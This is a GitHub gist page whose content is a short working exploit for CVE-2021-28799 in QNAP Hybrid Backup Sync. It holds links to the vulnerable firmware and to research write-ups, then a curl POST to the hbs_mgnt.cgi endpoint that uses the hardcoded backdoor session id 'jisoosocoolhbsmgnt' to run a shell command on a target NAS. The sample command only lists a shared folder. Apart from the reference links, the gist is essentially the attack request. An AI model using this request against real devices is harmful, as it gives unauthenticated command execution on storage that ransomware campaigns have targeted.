Skip to content

Instantly share code, notes, and snippets.

@daniruiz
Last active July 10, 2025 08:48
Show Gist options
  • Save daniruiz/962ecca527b59954e619c5ae2cab680c to your computer and use it in GitHub Desktop.
Save daniruiz/962ecca527b59954e619c5ae2cab680c to your computer and use it in GitHub Desktop.
CVE-2021-28799 jisoosocoolhbsmgnt backdoor cmd
# Firmware: http://web.archive.org/web/20210419003130/https://download.qnap.com/QPKG/HybridBackup_15.1.0225_x86_64.zip
# Info
# - https://unit42.paloaltonetworks.com/ech0raix-ransomware-soho/
# - https://es.slideshare.net/slideshow/cb21-nas-as-not-as-secure-by-talun-yen-and-shirley-kuo/251004330#1
# rr2/test/cgi/hbs_mgnt/test_cgi_run_cmd.sh
/sbin/curl -X POST -H "Content-Type: application/json; charset=UTF-8" \
--data-ascii '{"act": "run_cmd", "sid": "jisoosocoolhbsmgnt", "cmd":"ls -al /share/Public/"}' \
http://$TEST_IP:8080/cgi-bin/backup/hbs_mgnt.cgi
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment